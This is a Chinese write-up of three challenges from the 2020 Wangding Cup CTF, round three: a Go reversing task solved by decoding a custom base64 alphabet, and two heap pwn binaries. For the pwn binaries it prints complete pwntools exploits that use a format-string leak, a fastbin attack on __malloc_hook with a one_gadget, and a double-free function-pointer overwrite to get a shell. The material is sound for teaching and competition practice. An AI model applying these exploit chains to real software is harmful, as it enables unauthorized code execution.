2020网鼎杯-第三场


If you don’t go into the water, you can’t swim in your life

文中所用到的程序文件:bin file

有幸拿到了今年网鼎杯第三场的几个题目,这里复现一下,感觉比起青龙组简单不少=_=

what

这道题目是一道逆向题,挺简单的。go语言的程序,以前没见到过,顺带记录一下

go语言ida是有插件来对函数名做处理的,不过这道题目用不上插件,直接看mian_mian函数。 函数不能直接查看伪代码,但是汇编也不复杂,大致逻辑还是能理清的。汇编代码中可以看到这么一段,根据后面的"please input the key: "可以猜测aNrkkahzmrqzaqq应该就是这里要求输入的key

.text:00000000004010FB                 sub     rsp, 168h
.text:0000000000401102                 lea     rbx, aCbdb2c89f6800e ; "cbdb2c89f6800e6c93e1c1e541e1a89758f45fd"...
.text:0000000000401109                 mov     [rsp+168h+flag.str], rbx
.text:000000000040110E                 mov     [rsp+168h+flag.len], 60h
.text:0000000000401117                 lea     rbx, aNrkkahzmrqzaqq ; "nRKKAHzMrQzaqQzKpPHClX"
.text:000000000040111E                 mov     [rsp+168h+pwd.str], rbx
.text:0000000000401123                 mov     [rsp+168h+pwd.len], 16h
.text:000000000040112C                 lea     rbx, stru_4D5460
.text:0000000000401133                 mov     [rsp+168h+a.array], rbx
.text:0000000000401137                 call    runtime_newobject
.text:000000000040113C                 mov     rbx, [rsp+168h+a.len]
.text:0000000000401141                 mov     [rsp+168h+&input], rbx
.text:0000000000401146                 lea     rbx, aPleaseInputThe ; "please input the key: "
.text:000000000040114D                 mov     [rsp+168h+var_88], rbx
.text:0000000000401155                 mov     [rsp+168h+var_80], 16h

向后分析也可以发现它就是程序要求我们输入的key:

.text:0000000000401332                 mov     [rsp+168h+var_A8], rcx
.text:000000000040133A                 mov     [rsp+168h+a.array], rcx
.text:000000000040133E                 mov     [rsp+168h+var_A0], rax
.text:0000000000401346                 mov     [rsp+168h+a.len], rax
.text:000000000040134B                 mov     rbp, [rsp+168h+pwd.str]
.text:0000000000401350                 mov     [rsp+168h+a.cap], rbp
.text:0000000000401355                 mov     [rsp+168h+_r2.array], rdx
.text:000000000040135A                 call    runtime_eqstring ; 比对字符串
.text:000000000040135F                 movzx   ebx, byte ptr [rsp+168h+_r2.len]
.text:0000000000401364                 cmp     bl, 0
.text:0000000000401367                 jz      loc_401569

看起来像是base64编码,不过直接尝试解码并不能成功。继续分析程序,发现程序在比对字符串之前调用了main_encode

.text:00000000004012C3                 mov     rsi, [rsp+168h+&input] ; src
.text:00000000004012C8                 mov     rcx, [rsi]
.text:00000000004012CB                 mov     [rsp+168h+a.array], rcx
.text:00000000004012CF                 mov     rcx, [rsi+8]    ; _r1
.text:00000000004012D3                 mov     [rsp+168h+a.len], rcx
.text:00000000004012D8                 call    main_encode

跟到main_encode函数中去,发现似乎是base64的魔改版即换了码表:

.text:0000000000401029                 lea     rbx, aXyzfghi2Jhi345 ; "XYZFGHI2+/Jhi345jklmEnopuvwqrABCDKL6789"...
.text:0000000000401030                 mov     [rsp+70h+_r2.array], rbx
.text:0000000000401034                 mov     [rsp+70h+_r2.len], 40h
.text:000000000040103D                 call    encoding_base64_NewEncoding

用这个码表尝试解码,成功得到key:

from base64 import b64decode

table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
t = 'XYZFGHI2+/Jhi345jklmEnopuvwqrABCDKL6789abMNWcdefgstOPQRSTUVxyz01'
table = str.maketrans(t, table)
key_en = 'nRKKAHzMrQzaqQzKpPHClX==' # 两个==用作填充,对结果无影响
key = key_en.translate(table)
print(b64decode(key))

得到key之后直接运行即可得到flag:

nop@nop-pwn:~/Desktop$ ./what
please input the key: What_is_go_a_A_H
flag{e252890b-4f4d-4b85-88df-671dab1d78f3}
nop@nop-pwn:~/Desktop$

yundun

程序保护基本全开:

nop@nop-pwn:~/Desktop$ checksec ./pwn
[*] '/home/nop/Desktop/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序里面用了很多循环嵌套,分析的时候感觉很麻烦,不过直接运行程序就可以搞清楚大致功能。

程序实际上是一个简单的shell外壳,有用的只有三种指令:

  1. vim: 新建堆块,数字1对应0x60大小的堆块,数字2对应0x30大小的堆块
  2. cat: 打印堆块内容
  3. rm : 删除对应堆块

程序漏洞点-yundun

  1. 输入堆块内容时使用scanf获取输入(长度为70),存在堆溢出

     format = (char *)malloc(0x30uLL);
     if ( format )
     {
     printf("> ", 50LL);
     v3 = format;
     _isoc99_scanf("%70s", format);
     puts("Done!");
     }
    
  2. 删除堆块时,free操作后指针未置零,存在UAF,但是每次申请堆块都是直接覆盖原先的指针,所以这里的UAF并没想到该怎么用

     if ( v10 == 0x31 )
     {
     if ( *(v5 - 16) )
     {
         puts(
         "---------------skYunDun v0.0.0---------------\n"
         "[!] Detected an heap leak!\n"
         "[!] Rolling back....");
         v5 = 0LL;
         format = 0LL;
     }
     else
     {
         free(v5);
     }
     }
     else if ( v10 == 0x32 )
     {
     free(format);
     }
    
  3. 输出0x30大小的堆块内容时存在格式化字符串漏洞,这个漏洞点最开始的时候没注意到,卡了很久=_=!

     LABEL_27:
     printf(format, 50LL);
     putchar(10);
    

利用思路-yundun

因为开启了PIE,所以即使程序本身提供了后门函数我们也并不能劫持程序流程到后门函数,所以只能先想办法泄露地址。因为程序在输出较小堆块内容时直接使用printf,所以可以利用格式化字符串漏洞泄露一个地址:

    p.recvuntil('> ')
    p.sendline('vim 2\n%p\ncat 2\n')
'''
[DEBUG] Received 0x38 bytes:
    '------skVim v0.0.0------\n'
    '> Done!\n'
    '> > 0x7ff99912c963\n'
    '> > '
'''

调试发现泄露的地址和_IO_2_1_stdin_相关:

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────
 RAX  0xfffffffffffffe00
 RBX  0x7ff99912c8e0 (_IO_2_1_stdin_) ◂— 0xfbad208b
 RCX  0x7ff998e5f260 (__read_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x1
 RDI  0x0
 RSI  0x7ff99912c963 (_IO_2_1_stdin_+131) ◂— 0x12e790000000000a /* '\n' */ <<==== 泄露的地址
 R8   0x7ff99912e780 (_IO_stdfile_1_lock) ◂— 0x0
 R9   0x7ff999338700 ◂— 0x7ff999338700
 R10  0x7ff999338700 ◂— 0x7ff999338700
 R11  0x246
 R12  0xa
 R13  0x31
 R14  0x7ff99912c964 (_IO_2_1_stdin_+132) ◂— 0x9912e79000000000
 R15  0x7ff99912c8e0 (_IO_2_1_stdin_) ◂— 0xfbad208b
 RBP  0x7ff99912d620 (_IO_2_1_stdout_) ◂— 0xfbad2887
 RSP  0x7ffdc5c21898 —▸ 0x7ff998de25e8 (_IO_file_underflow+328) ◂— cmp    rax, 0
 RIP  0x7ff998e5f260 (__read_nocancel+7) ◂— cmp    rax, -0xfff

所以可以直接计算偏移得到libc:

_IO_2_1_stdin_ = int(p.recvuntil('\n',drop=True),16) - 131
log.success("_IO_2_1_stdin_ = %#x", _IO_2_1_stdin_)

libc = LibcSearcher('_IO_2_1_stdin_',_IO_2_1_stdin_)
libc_base = _IO_2_1_stdin_ - libc.dump('_IO_2_1_stdin_')
malloc_hook = libc_base + libc.dump('__malloc_hook')
log.success('libc_base = %#x, malloc_hook = %#x'%(libc_base, malloc_hook))

因为程序存在堆溢出漏洞,即我们利用0x30大小的堆溢出来覆写0x60大小的堆的FD指针完成Fastbin Attack分配得到一个任意地址的chunk。 这里打算通过写入one gadgetmalloc_hook完成攻击,所以我们需要分配一个堆块到malloc_hook附近:

p.recvuntil('> ')
p.sendline('vim 2')
payload = p64(0)*7 + p64(0x70) + p64(malloc_hook - 0x23)
p.sendline(payload)

之后向堆块中写入one gadget地址,完成攻击:

p.recvuntil('> > ')
p.sendline('vim 1\nbbbb\n')
p.recvuntil('> >')
p.sendline('vim 1\n')
payload = p64(0)*2 + '\x00'*3 + p64(one_gadget + libc_base)
p.sendline(payload)

完整exp-yundun

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='DEBUG')


p = process('./pwn')

p.recvuntil('> ')
p.sendline('vim 2\n%p\ncat 2\n')
p.recvuntil('> > ')
_IO_2_1_stdin_ = int(p.recvuntil('\n',drop=True),16) - 131
log.success('_IO_2_1_stdin_ = %#x',_IO_2_1_stdin_)

p.recvuntil('> > ')
p.sendline('vim 1\naaaa\n')
# pause()

libc = LibcSearcher('_IO_2_1_stdin_',_IO_2_1_stdin_)
libc_base = _IO_2_1_stdin_ - libc.dump('_IO_2_1_stdin_')
malloc_hook = libc_base + libc.dump('__malloc_hook')
log.success('libc_base = %#x, malloc_hook = %#x'%(libc_base, malloc_hook))
# pause()

one_gadget = 0xf02a4

p.recvuntil('> ')
p.sendline('rm 1')
p.recvuntil('> ')
p.sendline('rm 2')
# pause()

p.recvuntil('> ')
p.sendline('vim 2')
payload = p64(0)*7 + p64(0x70) + p64(malloc_hook - 0x23)
p.sendline(payload)
# pause()

p.recvuntil('> > ')
p.sendline('vim 1\nbbbb\n')
p.recvuntil('> >')
p.sendline('vim 1\n')
payload = p64(0)*2 + '\x00'*3 + p64(one_gadget + libc_base)
p.sendline(payload)
# pause()

p.recvuntil('> > ')
p.sendline('vim 1')
p.interactive()

magic

程序只开启了canary和NX,并且存在后门函数:

int backdoor()
{
  puts("no!!!!why you can use black magic ?!");
  return system("/bin/sh");
}

运行可以知道是一个菜单题:

  1. learn magic: 申请堆块,程序会申请两个堆块
  2. forget magic: 释放堆块
  3. use magic: 打印堆块内容
  4. leave: 退出程序

程序漏洞点-magic

分析可以得到一个结构体:

00000000 chunk1          struc ; (sizeof=0x10, mappedto_6)
00000000 content_ptr     dq ?
00000008 func_ptr        dq ?
00000010 chunk1          ends

程序每一次申请堆块都会申请两个,一是用户自定义大小的堆块,是这个对快对应的“索引”堆块,即存储结构体。

 ptr[v0] = malloc(0x10uLL);
    if ( ptr[index] )
    {
      *((_QWORD *)ptr[index] + 1) = puts_ptr;
      printf("magic cost ?:");
      read(0, (char *)&size + 4, 8uLL);
      LODWORD(size) = atoi((const char *)&size + 4);
      v1 = (void **)ptr[index];
      *v1 = malloc((signed int)size);
      if ( ptr[index] )
      {
        printf("name :", (char *)&size + 4);
        read(0, *(void **)ptr[index], (unsigned int)size);
        puts("You successfully learned this magic");
        ++index;
      }

在释放堆块时并未对指针置零,存在UAF漏洞:

    free(*(void **)ptr[v1]);
    free(ptr[v1]);
    puts("You successfully forgot this magic");

打印堆块内容时是使用结构体的func_ptr调用puts函数输出内容:

if ( ptr[v1] )
   (*((void (__fastcall **)(void *, char *))ptr[v1] + 1))(ptr[v1], &buf);

利用思路-magic

存在后门函数,未开启PIE并且堆块中可以直接通过指针调用函数,思路就很明显了:

  1. Fastbin double free 分配一个内容块到“索引块”
  2. 覆盖func_ptr到后门函数
  3. UAF拿到shell

完整exp-magic

from pwn import *
context(arch='amd64',os='linux',log_level='DEBUG')

sl      = lambda data               :p.sendline(str(data))
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()

def learn(size, content):
    ru(':')
    sl(1)
    ru('?')
    sl(size)
    ru(':')
    sl(content)

def forget(index):
    ru(':')
    sl(2)
    ru(':')
    sl(index)

def use(index):
    ru(':')
    sl(3)
    ru(':')
    sl(index)

p = process('./pwn')

learn(0x20,'A'*0x20) # id0
learn(0x20,'B'*0x20) # id1

forget(0)
forget(1)
forget(0)

pause()
learn(0x20, 'C'*0x20)

payload = flat([0, 0x400A0D])
learn(0x10,payload)

use(0)
itr()